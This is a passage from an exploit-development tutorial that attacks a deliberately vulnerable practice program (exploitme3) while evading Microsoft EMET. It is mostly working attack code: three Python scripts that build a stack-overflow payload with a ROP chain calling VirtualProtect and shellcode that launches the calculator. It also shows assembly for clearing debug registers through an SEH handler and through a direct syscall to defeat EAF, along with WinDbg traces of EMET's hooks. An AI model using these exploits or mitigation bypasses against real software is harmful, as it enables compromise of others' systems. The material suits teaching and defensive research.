            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\x33\xC0" +         # xor    eax,eax
            "\x0F\x23\xC0" +     # mov    dr0,eax
            "\x0F\x23\xC8" +     # mov    dr1,eax
            "\x0F\x23\xD0" +     # mov    dr2,eax
            "\x0F\x23\xD8" +     # mov    dr3,eax
            "\x0F\x23\xF0" +     # mov    dr6,eax
            "\x0F\x23\xF8"       # mov    dr7,eax
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

If we execute exploitme3 we get a glorious crash!

Let’s open it in WinDbg and hit F5 (go). The execution should stop because of a single step exception. To ignore these annoying exceptions, we can tell WinDbg to ignore first-chance single step exceptions with the following command:

sxd sse

where sse stands for Single Step Exception.

Right after we hit F5 again, another exception is generated and we recognize our code:

0034d64a 0f23c0          mov     dr0,eax      <-------------- exception generated here
0034d64d 0f23c8          mov     dr1,eax
0034d650 0f23d0          mov     dr2,eax
0034d653 0f23d8          mov     dr3,eax
0034d656 0f23f0          mov     dr6,eax
0034d659 0f23f8          mov     dr7,eax

The problem is that we can’t modify the debug registers in user mode (ring 3). The only way to do it is to delegate this task to the OS.

Clearing the debug registers (2)

I googled for “mov dr0 privileged instruction” and I found this page:

http://www.symantec.com/connect/articles/windows-anti-debug-reference

There, we can find a method to modify the debug registers. The method consists in defining an exception handler and generating an exception such as a division by zero. When the exception is generated, Windows will call the exception handler passing it a pointer to a CONTEXT data structure as first and only argument. The CONTEXT data structure contains the values of the registers when the exception was generated. The handler can modify the values in the CONTEXT data structure and, after the handler returns, Windows will propagate the changes to the real registers. This way, we can change the debug registers.

Here’s the code found on that page:

push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret

And here’s our C/C++ code:

#include <Windows.h>
#include <winnt.h>
#include <stdio.h>

int main() {
    CONTEXT context;
    printf("sizeof(context) = 0x%x\n", sizeof(context));
    printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
    printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
    printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
    printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
    printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
    printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
    printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
    printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
    printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);

    _asm {
        // Attach handler to the exception handler chain.
        call    here
    here:
        add     dword ptr [esp], 0x22       // [esp] = handler
        push    dword ptr fs:[0]
        mov     fs:[0], esp

        // Generate the exception.
        xor     eax, eax
        div     eax

        // Restore the exception handler chain.
        pop     dword ptr fs:[0]
        add     esp, 4
        jmp     skip

    handler:
        mov     ecx, [esp + 0Ch]; skip div
        add     dword ptr [ecx + 0B8h], 2               // skip the "div eax" instruction
        xor     eax, eax
        mov     dword ptr [ecx + 04h], eax              // clean dr0
        mov     dword ptr [ecx + 08h], 0x11223344       // just for debugging!
        mov     dword ptr [ecx + 0Ch], eax              // clean dr2
        mov     dword ptr [ecx + 10h], eax              // clean dr3
        mov     dword ptr [ecx + 14h], eax              // clean dr6
        mov     dword ptr [ecx + 18h], eax              // clean dr7
        ret
    skip:
    }

    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &context);
    if (context.Dr1 == 0x11223344)
        printf("Everything OK!\n");
    else
        printf("Something's wrong :(\n");

    return 0;
}

The first part prints the offsets of EIP and the debug registers so that we can verify that the offsets in the asm code are correct. Then follows the actual code. Note that we assign 0x11223344 to dr1 just for debugging purposes. At the end, we use GetThreadContext to make sure that our method works.

This program won’t run correctly because of SAFESEH.

Indeed, Visual Studio gives us the following warning:

1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler

Let’s disable SAFESEH by going to Projectproperties and modifying the configuration for Release as follows:

  • Configuration Properties
    • Linker
      • Advanced
        • Image Has Safe Exception Handlers: No (/SAFESEH:NO)

Now the program should work correctly.

We won’t have problems with SAFESEH when we put that code in our shellcode because our code will be on the stack and not inside the image of exploitme3.

Here’s the Python script to create name.dat:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xE8\x00\x00\x00\x00" +            # call here (013E1008h)
        #here:
            "\x83\x04\x24\x22" +                # add dword ptr [esp],22h  ; [esp] = handler
            "\x64\xFF\x35\x00\x00\x00\x00" +    # push dword ptr fs:[0]
            "\x64\x89\x25\x00\x00\x00\x00" +    # mov dword ptr fs:[0],esp
            "\x33\xC0" +                        # xor eax,eax
            "\xF7\xF0" +                        # div eax,eax
            "\x64\x8F\x05\x00\x00\x00\x00" +    # pop dword ptr fs:[0]
            "\x83\xC4\x04" +                    # add esp,4
            "\xEB\x1A" +                        # jmp here+3Dh (013E1045h)  ; jmp skip
        #handler:
            "\x8B\x4C\x24\x0C" +                # mov ecx,dword ptr [esp+0Ch]
            "\x83\x81\xB8\x00\x00\x00\x02" +    # add dword ptr [ecx+0B8h],2
            "\x33\xC0" +                        # xor eax,eax
            "\x89\x41\x04" +                    # mov dword ptr [ecx+4],eax
            "\x89\x41\x08" +                    # mov dword ptr [ecx+8],eax
            "\x89\x41\x0C" +                    # mov dword ptr [ecx+0Ch],eax
            "\x89\x41\x10" +                    # mov dword ptr [ecx+10h],eax
            "\x89\x41\x14" +                    # mov dword ptr [ecx+14h],eax
            "\x89\x41\x18" +                    # mov dword ptr [ecx+18h],eax
            "\xC3"                              # ret
        #skip:
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

If we run exploitme3, we get a crash. Maybe we did something wrong?

Let’s debug the program in WinDbg. We open exploitme3.exe in WinDbg and then we press F5 (go). We get the familiar single step exception so we issue the command sxd sse and hit F5 again. As expected, we get an Integer divide-by-zero exception:

(610.a58): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
0015d869 f7f0            div     eax,eax

This is a first chance exception so if we press F5 (go) again, the exception will be passed to the program. Before proceeding, let’s examine the exception chain:

0:000> !exchain
0015d844: 0015d877
0015ff50: exploitme3!_except_handler4+0 (00381739)
  CRT scope  0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)
                func:   exploitme3!__tmainCRTStartup+129 (003812de)
0015ff9c: ntdll!_except_handler4+0 (76f071f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)
                func:   ntdll!__RtlUserThreadStart+63 (76f090eb)

Everything seems correct!

When we hit F5 (go) we get this:

(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
0015d869 f7f0            div     eax,eax

Why doesn’t the program handle the exception? The culprit is SafeSEH!

I forgot that it’s not enough for a handler not to be in a SafeSEH module: it mustn’t be on the stack either!

Clearing the debug registers (3)

SafeSEH may be bypassed but probably not without using some hardcoded addresses, which defeats the purpose.

I want to add that if we hadn’t reserved more space on the stack by allocating on the stack the array moreStack (see the initial C/C++ source code), our shellcode would’ve overwritten the exception chain and SEHOP would’ve stopped our exploit anyway. SEHOP checks that the exception chain ends with ntdll!_except_handler4. We can’t restore the exception chain if we don’t know the address of that handler. So, this path is not a viable one.

Another way to clear the debug registers is to use kernel32!SetThreadContext. While it’s true that we don’t have the address of such function, we shouldn’t give up just yet. We know that SetThreadContext can’t clear the debug registers in user mode so it must call some ring 0 service at some point.

Ring 0 services are usually called through interrupts or specific CPU instructions like SYSENTER (Intel) and SYSCALL (AMD). Luckily for us, these services are usually identified by small constants which are hardcoded in the OS and thus don’t change with reboots or even with updates and new service packs.

Let’s start by writing a little program in C/C++:

#include <Windows.h>
#include <stdio.h>

int main() {
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context.Dr0 = 0;
    context.Dr1 = 0;
    context.Dr2 = 0;
    context.Dr3 = 0;
    context.Dr6 = 0;
    context.Dr7 = 0;

    if (!SetThreadContext(GetCurrentThread(), &context))
        printf("Error!\n");
    else
        printf("OK!\n");

    return 0;
}

Now let’s debug it in WinDbg. Put a breakpoint on kernel32!SetThreadContext and hit F5 (go). SetThreadContext is very short:

kernel32!SetThreadContext:
764358d3 8bff            mov     edi,edi
764358d5 55              push    ebp
764358d6 8bec            mov     ebp,esp
764358d8 ff750c          push    dword ptr [ebp+0Ch]      <--------- 002df954 = &context
764358db ff7508          push    dword ptr [ebp+8]        <--------- 0xfffffffe = GetCurrentThread()
764358de ff15f8013b76    call    dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]
764358e4 85c0            test    eax,eax
764358e6 7d0a            jge     kernel32!SetThreadContext+0x1f (764358f2)
764358e8 50              push    eax
764358e9 e846bdf7ff      call    kernel32!BaseSetLastNTError (763b1634)
764358ee 33c0            xor     eax,eax
764358f0 eb03            jmp     kernel32!SetThreadContext+0x22 (764358f5)
764358f2 33c0            xor     eax,eax
764358f4 40              inc     eax
764358f5 5d              pop     ebp
764358f6 c20800          ret     8

Note the two parameters passed to the first call. Clearly, we want to step inside that call:

ntdll!ZwSetBootOptions:
76eb1908 b84f010000      mov     eax,14Fh
76eb190d 33c9            xor     ecx,ecx
76eb190f 8d542404        lea     edx,[esp+4]
76eb1913 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb191a 83c404          add     esp,4
76eb191d c20800          ret     8
ntdll!ZwSetContextThread:         <------------------------ we are here!
76eb1920 b850010000      mov     eax,150h
76eb1925 33c9            xor     ecx,ecx
76eb1927 8d542404        lea     edx,[esp+4]
76eb192b 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb1932 83c404          add     esp,4
76eb1935 c20800          ret     8
ntdll!NtSetDebugFilterState:
76eb1938 b851010000      mov     eax,151h
76eb193d b90a000000      mov     ecx,0Ah
76eb1942 8d542404        lea     edx,[esp+4]
76eb1946 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb194d 83c404          add     esp,4
76eb1950 c20c00          ret     0Ch
76eb1953 90              nop

This looks very interesting! What is this call? Above and below we can see other similar functions with different values for EAX. EAX might be the service number. The immediate value of the ret instruction depends on the number of arguments, of course.

Note that edx will point to the two arguments on the stack:

0:000> dd edx L2
002df93c  fffffffe 002df954

Let’s step into the call:

747e2320 ea1e277e743300  jmp     0033:747E271E

A far jump: how interesting! When we step on it we find ourselves right after the call instruction:

ntdll!ZwQueryInformationProcess:
  76eafad8 b816000000      mov     eax,16h
  76eafadd 33c9            xor     ecx,ecx
  76eafadf 8d542404        lea     edx,[esp+4]
  76eafae3 64ff15c0000000  call    dword ptr fs:[0C0h]
  76eafaea 83c404          add     esp,4      <--------------------- we are here!
  76eafaed c21400          ret     14h

Why does this happen and what’s the purpose of a far jump? Maybe it’s used for transitioning to 64-bit code? Repeat the whole process in the 64-bit version of WinDbg and the jump will lead you here:

wow64cpu!CpupReturnFromSimulatedCode:
00000000`747e271e 67448b0424      mov     r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932
00000000`747e2723 458985bc000000  mov     dword ptr [r13+0BCh],r8d
00000000`747e272a 4189a5c8000000  mov     dword ptr [r13+0C8h],esp
00000000`747e2731 498ba42480140000 mov     rsp,qword ptr [r12+1480h]
00000000`747e2739 4983a4248014000000 and   qword ptr [r12+1480h],0
00000000`747e2742 448bda          mov     r11d,edx

We were right! If we keep stepping we come across the following call:

00000000`747e276e 8bc8            mov     ecx,eax
00000000`747e2770 ff150ae9ffff    call    qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]

Note that ecx is 150, our service number. We don’t need to go so deep. Anyway, eventually we reach the following code:

ntdll!NtSetInformationThread:
00000000`76d01380 4c8bd1          mov     r10,rcx
00000000`76d01383 b80a000000      mov     eax,0Ah
00000000`76d01388 0f05            syscall
00000000`76d0138a c3              ret

So, to call a ring 0 service there are two transitions:

  1. from 32-bit ring 3 code to 64-bit ring 3 code
  2. from 64-bit ring 3 code to 64-bit ring 0 code

But we don’t need to deal with all this. All we need to do is:

  1. set EAX = 0x150
  2. clear ECX
  3. make EDX point to our arguments
  4. call the code pointed to by fs:[0xc0]

As we can see, this code is not susceptible to ASLR.

Now we can finally write the code to clear the debug registers:

mov     eax, 150h
xor     ecx, ecx
sub     esp, 2cch                       ; makes space for CONTEXT
mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS
mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0
mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0
mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0
mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0
mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0
mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0
push    esp
push    0fffffffeh                      ; current thread
mov     edx, esp
call    dword ptr fs : [0C0h]           ; this also decrements ESP by 4
add     esp, 4 + 2cch + 8

At the end of the code, we restore ESP but that’s not strictly necessary.

Here’s the complete Python script:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

If we run exploitme3.exe, the calculator pops up! We bypassed EAF! We can also enable EAF+. Nothing changes.

MemProt

In our exploit we use VirtualProtect to make the portion of the stack which contains our shellcode executable. MemProt should be the perfect protection against that technique. Let’s enable it for exploitme3.exe. As expected, when we run exploitme3.exe, MemProt stops our exploit and exploitme3 crashes.

Let’s see what happens in WinDbg. Open exploitme3.exe in WinDbg and put a breakpoint on exploitme3!f. Then step through the function f and after the ret instruction we should reach our ROP code. Keep stepping until you get to the jmp to VirtualProtect.

Here, we see something strange:

kernel32!VirtualProtectStub:
763b4327 e984c1b5c0      jmp     36f104b0     <------------------ is this a hook?
763b432c 5d              pop     ebp
763b432d e996cdffff      jmp     kernel32!VirtualProtect (763b10c8)
763b4332 8b0e            mov     ecx,dword ptr [esi]
763b4334 8908            mov     dword ptr [eax],ecx
763b4336 8b4e04          mov     ecx,dword ptr [esi+4]
763b4339 894804          mov     dword ptr [eax+4],ecx
763b433c e9e9eaffff      jmp     kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)
763b4341 8b85d0feffff    mov     eax,dword ptr [ebp-130h]

The function starts with a jmp! Let’s see where it leads us to:

36f104b0 83ec24          sub     esp,24h
36f104b3 68e88b1812      push    12188BE8h
36f104b8 6840208f70      push    offset EMET!EMETSendCert+0xac0 (708f2040)
36f104bd 68d604f136      push    36F104D6h
36f104c2 6804000000      push    4
36f104c7 53              push    ebx
36f104c8 60              pushad
36f104c9 54              push    esp
36f104ca e8816c9a39      call    EMET+0x27150 (708b7150)
36f104cf 61              popad
36f104d0 83c438          add     esp,38h
36f104d3 c21000          ret     10h

OK, that’s EMET. That jmp is a hook put there by EMET to intercept calls to VirtualProtect.

We can see that if it weren’t for the hook, the VirtualProtectStub would call kernel32!VirtualProtect. Let’s have a look at it:

0:000> u kernel32!VirtualProtect
kernel32!VirtualProtect:
763b10c8 ff2518093b76    jmp     dword ptr [kernel32!_imp__VirtualProtect (763b0918)]
763b10ce 90              nop
763b10cf 90              nop
763b10d0 90              nop
763b10d1 90              nop
763b10d2 90              nop
kernel32!WriteProcessMemory:
763b10d3 ff251c093b76    jmp     dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]
763b10d9 90              nop

That’s just a redirection which has nothing to do with EMET:

0:000> u poi(763b0918)
KERNELBASE!VirtualProtect:
7625efc3 e9d815cbc0      jmp     36f105a0     <----------------- another hook from EMET
7625efc8 ff7514          push    dword ptr [ebp+14h]
7625efcb ff7510          push    dword ptr [ebp+10h]
7625efce ff750c          push    dword ptr [ebp+0Ch]
7625efd1 ff7508          push    dword ptr [ebp+8]
7625efd4 6aff            push    0FFFFFFFFh
7625efd6 e8c1feffff      call    KERNELBASE!VirtualProtectEx (7625ee9c)
7625efdb 5d              pop     ebp

Note the hook from EMET. While VirtualProtect operates on the current process, VirtualProtectEx lets you specify the process you want to work on. As we can see, VirtualProtect just calls VirtualProtectEx passing -1, which is the value returned by GetCurrentProcess, as first argument. The other arguments are the same as the ones passed to VirtualProtect.

Now let’s examine VirtualProtectEx:

0:000> u KERNELBASE!VirtualProtectEx
KERNELBASE!VirtualProtectEx:
7625ee9c e97717cbc0      jmp     36f10618     <----------------- another hook from EMET
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]
